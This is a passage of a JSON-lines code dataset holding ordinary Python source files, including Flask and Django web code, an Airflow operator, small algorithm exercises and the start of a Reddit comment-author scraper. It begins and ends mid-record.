self.assertEqual(history[0][0], \"ToImag\")\n self.assertTrue(np.allclose(history[0][1], expected_new))\n\n def test_populations(self):\n \"\"\"Test that counts are properly converted to a population.\"\"\"\n\n processor = DataProcessor(\"counts\")\n processor.append(Probability(\"00\"))\n\n new_data = processor(self.exp_data_lvl2.data[0])\n\n self.assertEqual(new_data[0], 0.4)\n self.assertEqual(new_data[1], 0.4 * (1 - 0.4) / 10)\n\n def test_validation(self):\n \"\"\"Test the validation mechanism.\"\"\"\n\n for validate, error in [(False, AttributeError), (True, DataProcessorError)]:\n processor = DataProcessor(\"counts\")\n processor.append(Probability(\"00\", validate=validate))\n\n with self.assertRaises(error):\n processor({\"counts\": [0, 1, 2]})\n","sub_path":"test/data_processing/test_data_processing.py","file_name":"test_data_processing.py","file_ext":"py","file_size_in_byte":7626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"190696042","text":"import os\nimport sys\nfrom pylib.base.flags import Flags\n\nfrom config import VALID_MODULES\nfrom web.server.app import create_app\n\n\ndef main():\n Flags.PARSER.add_argument(\n '--port',\n '-p',\n type=int,\n required=False,\n default=5000,\n help='Port the server should use',\n )\n Flags.PARSER.add_argument(\n '--environment',\n '-e',\n required=False,\n type=str,\n default='',\n help='The Zenysis environment that the server should use. '\n 'Can optionally be specified by setting the `ZEN_ENV` environment '\n 'variable. The environment variable will take precedence over '\n 'the command-line argument.',\n choices=[env for env in VALID_MODULES],\n )\n Flags.InitArgs()\n\n environment = (\n Flags.ARGS.environment if Flags.ARGS.environment else os.getenv('ZEN_ENV')\n )\n if not environment:\n raise ValueError(\n 'The Zenysis environment that the server should use is not set. '\n 'It can optionally be specified by setting the `ZEN_ENV` environment '\n 'variable or passing the environment flag.'\n )\n\n app = create_app(zenysis_environment=environment)\n app.run(host='0.0.0.0', port=Flags.ARGS.port)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"web/runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"23923871","text":"from datetime import date\n\nclass Employee:\n\n def __init__ (self, employee_name , employee_age, employee_salary, employment_year):\n self.name = employee_name\n self.age = employee_age\n self.salary = employee_salary\n self.employment_year = employment_year\n\n def get_working_years(self):\n current_year = date.today().year\n return current_year - self.employment_year\n\n def __str__(self):\n return 'Employee (name= '+ self.name +', age= '+ str(self.age) +', salary= '+ str(self.salary) +', employment year: '+ str(self.employment_year) + ')'\n\nclass Manager(Employee):\n\n def __init__(self, employee_name , employee_age, employee_salary, employment_year, bonus):\n super().__init__(employee_name , employee_age, employee_salary, employment_year)\n self.bonus_percentage = bonus\n\n def get_working_years(self):\n current_year = date.today().year\n return current_year - self.employment_year\n\n def get_bonus(self):\n return self.bonus_percentage * self.salary\n\n def __str__(self):\n return 'Manager (name= '+ self.name +', age= '+ str(self.age) +', salary= '+ str(self.salary) +', employment year: '+ str(self.employment_year) + ', bonus: '+str(self.bonus_percentage) + ')'\n\n\ndef main():\n employees = []\n managers = []\n\n print (\"Options:\")\n print (\" 1. Show Employees\")\n print (\" 2. Show Managers\")\n print (\" 3. Add An Employee\")\n print (\" 4. Add A Manager\")\n print (\" 5. Exit\")\n\n x = int(input (\"Please choose an option from 1-5: \"))\n\n\n while x != 5 :\n if x == 1:\n print(\"***************************\")\n print(\"Employees: \")\n for item in employees:\n print(item)\n elif x == 2:\n print(\"***************************\")\n print(\"Managers: \")\n for item in managers:\n print(item)\n elif x == 3:\n print(\"***************************\")\n print (\"Enter employee info: \")\n name = input(\"name: \")\n age = input(\"age: \")\n salary = float(input(\"salary: \"))\n year = int(input(\"employment date: \"))\n newemp = Employee(name,age,salary,year)\n employees.append(newemp)\n elif x == 4:\n print(\"***************************\")\n print(\"Enter manager info: \")\n name = input(\"name: \")\n age = input(\"age: \")\n salary = float(input(\"salary: \"))\n year = int(input(\"employment date: \"))\n bonus = float(input(\"bonus salary: \"))\n newman = Manager(name,age,salary,year,bonus)\n managers.append(newman)\n print (\"Options:\")\n print (\" 1. Show Employees\")\n print (\" 2. Show Managers\")\n print (\" 3. Add An Employee\")\n print (\" 4. Add A Manager\")\n print (\" 5. Exit\")\n\n x = int(input (\"Please choose an option from 1-5: \"))\n\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"hr_pro.py","file_name":"hr_pro.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"106522573","text":"def isValid(s):\n stack = []\n right_to_left = {')':'(',']':'[','}':'{'}\n for c in s:\n if stack and c in right_to_left.keys() and stack.pop() != right_to_left[c]: # c is right parenthese\n return False\n elif c in right_to_left.values(): # c is left parenthese\n stack.append(c)\n else: # c is not one of them\n return False\n return stack == []\n\n\nassert isValid('()[]') == True\nassert isValid('[()]') == True\nassert isValid('[(])') == False\n","sub_path":"20_Valid Parentheses/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"64162130","text":"import data.model as model_source\nimport os\nimport pandas as pd\nimport pickle\nimport requests\nimport time\n\nfrom core.algorithm_flow import Evolution\nfrom core.models import Model, PopulationImpl, EvolutionParams, EvolutionTask, PopulationHyperParams\nfrom core.validators import HyperParametersDFValidator, ModelValidator, \\\n ImplementationDictValidator, EvolutionDictValidator\nfrom core.implementation import Crossover, Fitness, Mutation, PopulationCopy, \\\n PopulationInit, PopulationMerge, Selection, population_to_pickle\nfrom concurrent.futures import ThreadPoolExecutor\nfrom flask import Flask, request, jsonify\n\napp = Flask(__name__)\n\nSERVER_PORT = 5002\nSERVER_URL = '127.0.0.1:' + str(SERVER_PORT)\nMODEL_URL_PREFIX = 'http://127.0.0.1:5001/model/'\nERROR_URL = 'http://127.0.0.1:5001/model/'\nANALYZER_URL = 'http://localhost:5000/data/'\nTASK_FINISHED_URL = 'http://127.0.0.1:5001/task_finished/'\n\n\nIMPLEMENTATION_OBJ_DICT = {'crossover': 'pmx', 'mutation': 'one_point', 'init': 'init_population',\n 'fitness': 'fitness', 'population_copy': 'copy', 'population_merge': 'merge',\n 'selection': 'select'}\n\n\ndef register_worker():\n def try_connection():\n try:\n requests.get('http://127.0.0.1:5001/')\n return True\n except requests.ConnectionError:\n return False\n\n while not try_connection():\n time.sleep(5)\n\n requests.post('http://127.0.0.1:5001/worker_ready/' + str(os.getpid()) + '/' + SERVER_URL)\n\n\ndef download_model_file(model_name: str):\n model_file = requests.get(MODEL_URL_PREFIX + model_name)\n with open(os.path.join(os.getcwd(), 'model.txt'), 'w') as dest_file:\n dest_file.write(model_file.text)\n\n\ndef send_data(population, url: str):\n pickled_soluton = population_to_pickle(population)\n try:\n requests.post(url, pickled_soluton)\n except requests.ConnectionError:\n pass\n\n\nclass EvolutionManager:\n\n def __init__(self):\n self._evolution_tasks = []\n self._evolution_objects = []\n\n def add_evolution_task(self, evolution_task: EvolutionTask):\n self._evolution_tasks.append(evolution_task)\n\n def initialize_waiting_tasks(self):\n new_evolution_objects = [Evolution.from_task(task) for task in self._evolution_tasks]\n self._evolution_objects.extend(new_evolution_objects)\n for ev_object in self._evolution_objects:\n ev_object.init_evolution()\n self._evolution_tasks = []\n\n def start_evolution(self):\n thread_pool = ThreadPoolExecutor(max_workers=2)\n for evolution_object in self._evolution_objects:\n for _ in range(evolution_object.batch_amount):\n current_population = evolution_object.evolve()\n thread_pool.submit(send_data, current_population, ANALYZER_URL + evolution_object.population_name)\n\n\n@app.route('/', methods=['POST'])\ndef init_evolution():\n params = pickle.loads(request.data)\n download_model_file(params['model_file'])\n\n hyperparams_df = create_hyperparams_df(params)\n\n try:\n hyperparams = create_hyperparams(hyperparams_df)\n model = create_model()\n implementation_obj = create_implementation_object()\n evolution_params = create_evolution_params_object({'batch_size': 10, 'generations': params['size']})\n except Exception as e:\n requests.post(ERROR_URL + params['name'], data=pickle.dumps([params['worker_id'], params['model_file']]))\n # return jsonify({})\n raise e\n\n evolution_manager.add_evolution_task(EvolutionTask(population_name=params['name'],\n evolution_params=evolution_params,\n model=model,\n population_impl=implementation_obj,\n population_hyperparams=hyperparams))\n evolution_manager.initialize_waiting_tasks()\n evolution_manager.start_evolution()\n\n requests.post(TASK_FINISHED_URL + params['worker_id'] + '/' + params['name'])\n\n return jsonify({})\n\n\ndef create_hyperparams_df(params):\n hyperparams_dict = dict(crossover_coef=[params['crossover']], mutation_coef=[params['mutation']], pop_size=[params['size']])\n hyperparams_df = pd.DataFrame.from_dict(hyperparams_dict)\n return hyperparams_df\n\n\ndef create_hyperparams(hyperparams_df):\n HyperParametersDFValidator.validate(hyperparams_df)\n hyperparams_df.pop_size.astype(int)\n return PopulationHyperParams.from_from_dataframe(hyperparams_df)\n\n\ndef create_model():\n model_dict = model_source.get_model(os.path.join(os.getcwd(), os.path.join(os.getcwd(), 'model.txt')))\n model = Model.from_dict(model_dict)\n ModelValidator.validate(model)\n return model\n\n\ndef create_implementation_object():\n ImplementationDictValidator.validate(IMPLEMENTATION_OBJ_DICT)\n implementation_classes = {'crossover': Crossover,\n 'mutation': Mutation,\n 'init': PopulationInit,\n 'fitness': Fitness,\n 'population_copy': PopulationCopy,\n 'population_merge': PopulationMerge,\n 'selection': Selection}\n implementation_dict = dict()\n for func, name in IMPLEMENTATION_OBJ_DICT.items():\n _cls = implementation_classes[func]\n implementation_dict[func] = (_cls, _cls.__dict__[name])\n return PopulationImpl.from_dict(implementation_dict)\n\n\ndef create_evolution_params_object(evolution_params: dict):\n EvolutionDictValidator.validate(evolution_params)\n return EvolutionParams.from_dict(evolution_params)\n\n\nif __name__ == '__main__':\n evolution_manager = EvolutionManager()\n register_worker()\n app.run(port=SERVER_PORT)\n","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":5883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"81660808","text":"import re\n\ndef verify(isbn):\n formattedString = re.sub('[^xX0-9]+', '', isbn)\n\n if (len(formattedString) != 10):\n return False\n\n multiplicand = 10\n sumDigits = 0\n\n for char in formattedString:\n if (multiplicand != 1 and (char == 'x' or char == 'X')):\n return False\n elif (multiplicand == 1 and (char == 'x' or char == 'X')):\n sumDigits += 10\n else:\n sumDigits += multiplicand * int(char)\n \n multiplicand -= 1\n \n return sumDigits % 11 == 0\n","sub_path":"isbn-verifier/isbn_verifier.py","file_name":"isbn_verifier.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"474965061","text":"# -*- coding: utf-8 -*-\n\nfrom airflow.utils.decorators import apply_defaults\nfrom rekcurd_airflow.operators.rekcurd_operator import RekcurdOperator\nfrom airflow.exceptions import AirflowException\nfrom airflow.hooks.http_hook import HttpHook\nimport json\nfrom requests import Request\nfrom urllib.parse import urljoin\n\n\nclass EvaluationUploadOperator(RekcurdOperator):\n \"\"\"\n Upload evaluation data\n\n :param app_id: The targetted Rekcurd application ID.\n :type app_id: integer\n :param evaluation_file_path: file path to evaluation data to be uploaded\n :type evaluation_file_path: string\n \"\"\"\n @apply_defaults\n def __init__(self,\n app_id,\n timeout=300,\n evaluation_file_path=None,\n *args, **kwargs):\n super().__init__(\n endpoint='/api/applications/{}/evaluations'.format(app_id),\n timeout=timeout,\n method='POST',\n *args,\n **kwargs)\n\n self.__evaluation_path = evaluation_file_path\n\n def execute(self, context):\n http = HttpHook(self.method, http_conn_id=self.http_conn_id)\n session = http.get_conn(self.headers)\n with open(self.__evaluation_path, 'rb') as evaluation_file:\n evaluation_data = evaluation_file.read()\n\n req = Request(self.method,\n urljoin(http.base_url, self.endpoint),\n files={'file': evaluation_data},\n headers=self.headers)\n\n response = http.run_and_check(session,\n session.prepare_request(req),\n self.extra_options)\n result = json.loads(response.text)\n\n if result['status']:\n self.log.info(f'Success. evaluation_id: {result[\"evaluation_id\"]}')\n else:\n raise AirflowException(result['message'])\n\n return result[\"evaluation_id\"]\n","sub_path":"rekcurd_airflow/operators/evaluation_upload_operator.py","file_name":"evaluation_upload_operator.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"350707749","text":"from django.conf.urls import patterns, url\nfrom regsoft.views import *\n\nurlpatterns = [\n\turl(r'^firewallzouter/scan/$', firewallzo_dashboard),\n\turl(r'^firewallzouter/scan/(?P\\d+)$', firewallzo_dashboard_two),\n\turl(r'^firewallzouter/confirm/$', firewallzo_confirm),\n\turl(r'^firewallzouter/confirm/(?P\\d+)$', firewallzo_setgleader),\n\turl(r'^firewallzouter/groupcodes/$', gcodelist),\n\turl(r'^firewallzouter/testx/$', testx),\n\turl(r'^firewallzouter/unconfirm/(?P\\d+)$', firewallzo_unconfirm),\n\turl(r'^firewallzouter/unconfirmed/(?P\\d+)$', firewallzo_unconfirm),\n\turl(r'^firewallzouter/edit/(?P\\d+)$', firewallzo_edit_part),\n\turl(r'^firewallzouter/add/(?P\\d+)$', firewallzo_add),\n\turl(r'^firewallzouter/add_guest/$', firewallzo_add_guest),\n\turl(r'^firewallzouter/barcodelist/$', get_barcode),\n\n\turl(r'^common/search/$', common_search, name=\"common_search\"),\n\n\turl(r'^controlz/home/$', controlz_home),\n\turl(r'^controlz/stats/$', controlz_stats, name=\"controlz_stats\"),\n\turl(r'^controlz/home/(?P\\d+)$', controlz_dashboard),\n\turl(r'^controlz/edit/(?P\\d+)$', controlz_edit_part),\n\turl(r'^controlz/bill_select/$', controlz_bill_select),\n\turl(r'^controlz/bill_delete/$', controlz_delete_bill),\n\turl(r'^controlz/bill_view/(?P\\d+)/$', controlz_view_bill),\n\turl(r'^controlz/bill_details/(?P\\d+)$', controlz_bill_details),\n\turl(r'^controlz/recnacc_bill_list/$', recnacc_bill_list),\n\turl(r'^controlz/recnacc_bill_print/(?P\\d+)$', recnacc_bill_print),\n\t# url(r'^controlz/billdetails/(?P\\d+)$', ),\n\n\turl(r'^controlz/bill_print/$', controlz_bill_print),\n\turl(r'^group_notify/$', recnacc_notify),\n\n\n\n\turl(r'^recnacc/home/$', recnacc_home),\n\turl(r'^recnacc/home/(?P\\d+)$', recnacc_dashboard),\n\turl(r'^recnacc/allot/(?P\\d+)$', recnacc_allot),\n\turl(r'^recnacc/faculty_allot/(?P\\d+)$', recnacc_faculty_allot),\n\turl(r'^recnacc/deallocate/(?P\\d+)$', recnacc_deallocate),\n\turl(r'^recnacc/checkout/(?P\\d+)$', recnacc_checkout),\n\t#url(r'^recnacc/return_inventory/(?P\\d+)$', recnacc_return_inventory),\n\turl(r'^recnacc/checkedout_select_gl/$', recnacc_checkedout_select_gl),\n\turl(r'^recnacc/checked_out_participants/(?P\\d+)$', recnacc_checked_out_participants),\n\turl(r'^recnacc/checked_out_list/(?P\\d+)$', recnacc_checked_out_participants_in),\n\turl(r'^recnacc/bhavan_inventory_list/$', recnacc_bhavan_inventory_list),\n\turl(r'^recnacc/room_availibility_list/$', recnacc_room_availibility_list),\n\turl(r'^recnacc/bhavan_gleader_list/$', recnacc_bhavan_gleader_list),\n\turl(r'^recnacc/room_list/$', recnacc_room_list),\n\turl(r'^recnacc/room_details/(?P\\d+)$', recnacc_room_details),\n\t\n\n\turl(r'^teams/$', mainScreen, name='main'),\n\turl(r'^teams/uploadlist/$', upload_list, name='upload_list'),\n\turl(r'^teams/chooseLeader/$', choose_leader, name='choose_leader'),\n\turl(r'^teams/genTeam/$', genTeam, name='genTeam'),\n\turl(r'^teams/addbitsian/$', bitsian_add, name='add_bitsian'),\n\n\turl(r'^teams/participantdetails/(?P\\d+)/$', participant_details, name=\"participant_details\"),\n\turl(r'^teams/participantdetails/$', participant_details_home, name=\"participant_home\"),\n\turl(r'^teams/eventdetails/(?P\\d+)/$', event_details, name=\"event_details\"),\n\turl(r'^teams/eventdetails/$', event_details_home, name=\"event_home\"),\n\turl(r'^teams/teamdetails/(?P\\d+)/$', team_details, name=\"team_details\"),\n\turl(r'^teams/teamdetails/$', team_details_home, name=\"team_home\"),\n\n\turl(r'^teams/getparticipantlist/$', getParticipantList, name='getParticipantList'),\n\n\turl(r'^teams/selectEvent_delete/$', selectEvent_manageTeams, name='selectEvent_manageTeams'),\n\turl(r'^teams/selectTeam_delete/$', showTeams_manageTeams, name='showTeams_manageTeams'),\n\turl(r'^teams/deleteTeams/$', deleteTeam_manageTeams, name='deleteTeam_manageTeams'),\n\n\turl(r'^teams/show_teamList/$', eventlist_showTeams, name='eventlist_showTeams'),\n\turl(r'^teams/show_selectEvent/$', eventList_selectEvent, name='eventList_selectEvent'),\n\turl(r'^teams/singleTeam/(?P\\d+)/$', eventList_selectEvent, name='eventList_selectEvent'),\n \n \turl(r'^teams/finalist_selectEvent/$', finalist_selectEvent, name=\"finalist_selectEvent\"), \n \turl(r'^teams/finalist_showTeams/$', finalist_showTeams, name=\"finalist_showTeams\"), \n \turl(r'^teams/setFinalist/$', setFinalist, name=\"setFinalist\"), \n\n \turl(r'^teams/winner_selectEvent/$', winner_selectEvent, name=\"winner_selectEvent\"), \n \turl(r'^teams/winner_showTeams/$', winner_showTeams, name=\"winner_showTeams\"), \n \turl(r'^teams/setWinner/$', setWinner, name=\"setWinner\"), \n\n\n\n\n \turl(r'^genteam_txt/$', certi_gen_txt), \n\n\t# url(r'^firewallzouter/scan/$', firewallzo_dashboard),\n\t# url(r'^firewallzouter/scan/$', firewallzo_dashboard),\n\n\n\t# url(r'^firewallzouter/edit/', firewallzo_home),\n\t# url(r'^firewallzouter/(?P\\w+)/', firewallzo_home),\n\t\n \n\t# url(r'^getbarcode/$', get_barcode, name='get barcode'),\n\t# url(r'^firewallz/$', firewallzo_gl, name='firewallz outer booth home'),\n\t# url(r'^firewallz/edit/(?P\\d+)/$',firewallzo_edit_participant,name='editing individual participants'),\n\t# url(r'^firewallz/add/(?P\\d+)/$',firewallzo_add_participant,name='add participant'),\n\t# url(r'^firewallz/newgl/(?P\\d+)/$',firewallzo_gl_reassign,name='firewallzo_gl_reassign'),\n\t# url(r'^firewallz/remove/(?P\\d+)/$',firewallzo_remove_people,name='remove participant'),\n\t# url(r'^firewallzi/$',firewallz_fid,name='Firewallz Inner Booth'),\n\t# url(r'^recnacc/$', reconec_home, name='recnacc home'),\n\t# url(r'^recnacc/dashboard/(?P\\d+)/$',recnacc_dashboard, name='recnacc_dashboard'),\n\t# url(r'^recnacc/allot/(?P\\d+)/$',acco_list,name='provides accomodation'),\n\t# url(r'^recnacc/deallocate/(?P\\d+)/$',reconec_deallocate,name='provides accomodation'),\n\t# url(r'^recnacc/phonedetails/(?P\\d+)/$',phonedetails,name='phone numbers'),\n\t# url(r'^recnacc/checkout/(?P\\d+)/$',reconec_checkout,name='checkout people'),\n\t# url(r'^recnacc/all_bhavans/$', all_bhawans, name='all bhavans'),\n\t# url(r'^recnacc/roomdetails/$', room_details, name='all bhavans'),\n\t# url(r'^recnacc/bhavanwise/$',college_in_bhavan,name='bhavan college mapping'),\n\t# url(r'^controlz/receipt/$', receipt, name='controlzhome'),\n\t# url(r'^controlz/lists/$', controlz_lists, name='controlzlists'),\n\t# url(r'^controlz/add_denominations/(?P\\d+)/$', enter_denominations, name='denominationsform'),\n\t# url(r'^controlz/eventdetails/$', controlz_event_details, name='event participants details'),\n\t# url(r'^controlz/make_sl/(?P\\d+)/$',controlz_sport_leader,name='making sport leader'),\n\t# url(r'^controlz/edit/(?P\\d+)/$',controlz_edit_participant,name='editing individual participants for controlz'),\n\t# url(r'^controlz/revert_bill/(?P\\d+)/$',controlz_cancel_bill,name='cancel bill'),\n\t# url(r'^showbills/$', show_prev_bills, name='show bills'),\n\t# url(r'^bill_detail/(?P\\d+)/$', bill_details, name='view bill Details'),\n\t# url(r'^controlz/bill/(?P\\d+)/$',generate_receipt,name='print bill'),\n\t# url(r'^controlz/bill_print/(?P\\d+)/$',print_receipt,name='print bill'),\n]\n","sub_path":"regsoft/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":7203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"513069672","text":"import datetime\nfrom py_scripts.dbComparator import process_uniqs, queryConstructor, process_dates\nfrom py_scripts.helpers import dbHelper, converters\n\n\ndef compare_table(prod_connection, test_connection, table, is_report, service_dir, mapping, start_time,\n comparing_info, **kwargs):\n logger = kwargs.get('logger')\n comparing_step = kwargs.get('comparing_step')\n depth_report_check = kwargs.get('depth_report_check')\n mode = kwargs.get('mode')\n local_break, max_amount = check_amount(prod_connection, test_connection, table, logger)\n if not local_break:\n if is_report:\n dates = converters.convertToList(process_dates.compare_dates(prod_connection, test_connection, table,\n depth_report_check, comparing_info, logger))\n dates.sort()\n query_list = queryConstructor.InitializeQuery(prod_connection, mapping, table,\n comparing_step, logger).report(dates, mode, max_amount)\n else:\n query_list = queryConstructor.InitializeQuery(prod_connection, mapping, table,\n comparing_step, logger).entity(max_amount)\n global_break, local_break = iterate_by_query_list(prod_connection, test_connection, query_list, table,\n start_time, comparing_info, service_dir, **kwargs)\n return global_break\n else:\n logger.warn('Local_break flag detected. Checking of table {} skipped.'.format(table))\n return False\n\n\ndef check_amount(prod_connection, test_connection, table, logger):\n prod_record_amount, test_record_amount = dbHelper.get_amount_records(table,\n None,\n [prod_connection, test_connection],\n logger)\n if prod_record_amount == 0 and test_record_amount == 0:\n logger.warn(\"Table {} is empty on both servers!\".format(table))\n return True, 0\n if prod_record_amount == 0:\n logger.warn(\"Table {} is empty on prod-server!\".format(table))\n return True, 0\n if test_record_amount == 0:\n logger.warn(\"Table {} is empty on test-server!\".format(table))\n return True, 0\n if prod_record_amount != test_record_amount:\n sub_result, type, percents = substract(prod_record_amount, test_record_amount)\n if type == 'Prod':\n base = prod_connection.db\n else:\n base = test_connection.db\n logger.warn(('Amount of records differs for table {}'.format(table) +\n 'Prod record amount: {}. '.format(prod_record_amount) +\n 'Test record amount: {}. '.format(test_record_amount) +\n 'Db {0} have more records. Difference equals {1}, {2:.5f} percents'.format(base, sub_result, percents)))\n max_amount = max(prod_record_amount, test_record_amount)\n return False, max_amount\n\ndef substract(prod_amount, test_amount):\n if prod_amount > test_amount:\n substraction = prod_amount - test_amount\n type = 'Prod'\n percents = substraction / prod_amount\n else:\n substraction = test_amount - prod_amount\n type = 'Test'\n percents = substraction / test_amount\n return substraction, type, percents\n\n\ndef iterate_by_query_list(prod_connection, test_connection, query_list, table, start_time, comparing_info,\n service_dir, **kwargs):\n table_start_time = datetime.datetime.now()\n logger = kwargs.get('logger')\n strings_amount = kwargs.get('strings_amount')\n fail_with_first_error = kwargs.get('fail_with_first_error')\n table_timeout = kwargs.get('table_timeout')\n prod_uniq = set()\n test_uniq = set()\n for query in query_list:\n local_break, prod_tmp_uniq, test_tmp_uniq = get_differences(prod_connection, test_connection, table, query,\n comparing_info, strings_amount, service_dir, logger)\n prod_uniq = process_uniqs.merge_uniqs(prod_uniq, prod_tmp_uniq)\n test_uniq = process_uniqs.merge_uniqs(test_uniq, test_tmp_uniq)\n\n if prod_uniq and test_uniq:\n prod_uniq = process_uniqs.thin_uniq_list(prod_uniq, test_uniq, logger)\n test_uniq = process_uniqs.thin_uniq_list(test_uniq, prod_uniq, logger)\n\n if table_timeout is not None:\n duration = datetime.datetime.now() - table_start_time\n if duration > datetime.timedelta(minutes=table_timeout):\n logger.error(('Checking table {} '.format(table) +\n 'exceded timeout {}. Finished'.format(table_timeout)))\n return False, True\n\n if not local_break and fail_with_first_error:\n logger.info((\"First error founded, checking failed. \" +\n \"Comparing takes {}\").format(datetime.datetime.now() - start_time))\n return True, False\n\n if process_uniqs.check_uniqs(prod_uniq, test_uniq, strings_amount, table, query, service_dir, logger):\n return False, True\n # Hack, intended for writing all uniqs to file\n process_uniqs.check_uniqs(prod_uniq, test_uniq, 0, table, query_list[0], service_dir, logger)\n return False, False\n\n\ndef get_differences(prod_connection, test_connection, table, query, comparing_info,\n strings_amount, service_dir, logger):\n prod_entities, test_entities = dbHelper.DbConnector.parallel_select([prod_connection, test_connection], query)\n if (prod_entities is None) or (test_entities is None):\n logger.warn('Table {} skipped because something going bad'.format(table))\n return False, set(), set()\n prod_uniq = set(prod_entities) - set(test_entities)\n test_uniq = set(test_entities) - set(prod_entities)\n if not any([len(prod_uniq) == 0, len(test_uniq) == 0]):\n logger.error(\"Tables {} differs!\".format(table))\n comparing_info.update_diff_data(table)\n if process_uniqs.check_uniqs(prod_uniq, test_uniq, strings_amount, table, query, service_dir, logger):\n return False, set(), set()\n else:\n return False, prod_uniq, test_uniq\n else:\n return True, set(), set()\n","sub_path":"py_scripts/dbComparator/unified_comparing_class.py","file_name":"unified_comparing_class.py","file_ext":"py","file_size_in_byte":6488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"57073000","text":"from pymessenger.bot import Bot\r\nimport json\r\nfrom flask import url_for\r\n\r\n'''\r\nA module to collect a bunch of useful, generic messages to send to users.\r\n'''\r\n\r\ndef send_login_button(page_token, receipient_id, login_link):\r\n bot = Bot(page_token)\r\n bot.send_message(receipient_id, json.dumps({\r\n \"attachment\": {\r\n \"type\": \"template\",\r\n \"payload\": {\r\n \"template_type\": \"generic\",\r\n \"elements\": [{\r\n 'title': 'Login to Drive',\r\n 'image_url': 'https://www.google.com/drive/static/images/drive/logo-drive.png'\r\n ,\r\n \"buttons\": [{\r\n \"type\": \"account_link\",\r\n \"url\": url_for(login_link, _external=True)\r\n }]\r\n }]\r\n }\r\n }\r\n }))\r\n","sub_path":"AppMessaging.py","file_name":"AppMessaging.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"177601681","text":"# 画像を一枚指定するとそれが何なのか判定する\nimport ic_module as ic\nimport os.path as op\n\nwhile True :\n while True :\n imgname = input(\"\\n>> 入力したい画像ファイル(「END」で終了):\")\n if op.isfile(imgname) or imgname == \"END\":\n break\n print(\">> そのファイルは存在しません\")\n if imgname == \"END\":\n break\n\n # 関数実行\n ic.TestProcess(imgname)","sub_path":"ML/testprocess.py","file_name":"testprocess.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"229091541","text":"from django.shortcuts import get_object_or_404\nfrom rest_framework import serializers\n\ndef get_model_from_dict_or_uuid(serializer, model, data):\n if isinstance(data, dict):\n if \"uuid\" in data:\n model_to_edit = get_object_or_404(model, uuid=data.get('uuid'))\n serialized_data = serializer(model_to_edit, data=data)\n else:\n serialized_data = serializer(data=data)\n if serialized_data.is_valid(raise_exception=True):\n return serialized_data.save()\n else:\n raise serializers.ValidationError(serializer.errors)\n else:\n return get_object_or_404(model, uuid=data)","sub_path":"API/utils/get_model_from_dict_or_uuid.py","file_name":"get_model_from_dict_or_uuid.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"624662890","text":"'''PROGRAM TO PRINT THE FOLLOWING PATTERN\n* \n* * \n* * * \n* * * * \n* * * \n* * \n* \n'''\n\n#--- main ---\nn=int(input(\"ENTER THE MAXIMUM NUMBER OF STARS YOU WANT :: \")); #INPUT\nfor i in range(n): #INCREASING STARS\n for j in range(i): \n print ('* ', end=\"\") \n print('') \n \nfor i in range(n,0,-1): #DECREASING STARS\n for j in range(i): \n print('* ', end=\"\") \n print('')\n\nQUIT=input(\"\\nPRESS ENTER TO EXIT\")\n","sub_path":"Pattern_2.py","file_name":"Pattern_2.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"340737993","text":"import praw\nimport sub\nimport json\n\nclass Scraper:\n\n\tdef __init__(self, sub, reddit):\n\t\tself.sub = sub\n\t\tself.reddit = reddit\n\t\tself.loadExistingUsers()\n\t\tself.users_found = []\n\n\tdef loadExistingUsers(self):\n\t\twith open(self.sub.existing_users) as json_file:\n\t\t\tdata = json.load(json_file)\n\n\t\t\tself.existing_users = data[\"existing\"]\n\n\n\tdef run(self):\n\n\t\tforceLimit = self.sub.scraper_post_limit\n\t\ttype = self.sub.post_type\n\n\t\tcount = 1\n\n\t\t#for post in self.reddit.subreddit(self.sub.subName).new(limit=forceLimit):\n\n\t\tposts = []\n\n\t\tif type == \"new\":\n\t\t\tposts = self.reddit.subreddit(self.sub.subName).new(limit=forceLimit)\n\t\telif type == \"hot\":\n\t\t\tposts = self.reddit.subreddit(self.sub.subName).hot(limit=forceLimit)\n\t\telif type == \"controversial\":\n\t\t\tposts = self.reddit.subreddit(self.sub.subName).controversial(limit=forceLimit)\n\n\t\tfor post in posts:\n\t\t\t#print(post.title)\n\t\t\tcomments = post.comments.list()\n\t\t\tfor comment in comments:\n\t\t\t\ttry:\n\t\t\t\t\tauthor = str(comment.author)\n\n\t\t\t\t\t#Limit number of scrapes\n\t\t\t\t\tif(count > forceLimit):\n\t\t\t\t\t\treturn\n\n\t\t\t\t\tif(self.addUser(author)):\n\t\t\t\t\t\tself.sub.logMe(\"Scraping user: \" + str(comment.author) + \" #\" + str(count))\n\t\t\t\t\t\tcount = count + 1\n\n\t\t\t\texcept AttributeError:\n\t\t\t\t\tprint(\"Unknown error!\")\n\n\tdef addUser(self, username):\n\t\tif username in self.existing_users:\n\t\t\tself.sub.logMe(\"Duplicate found (\" + username + 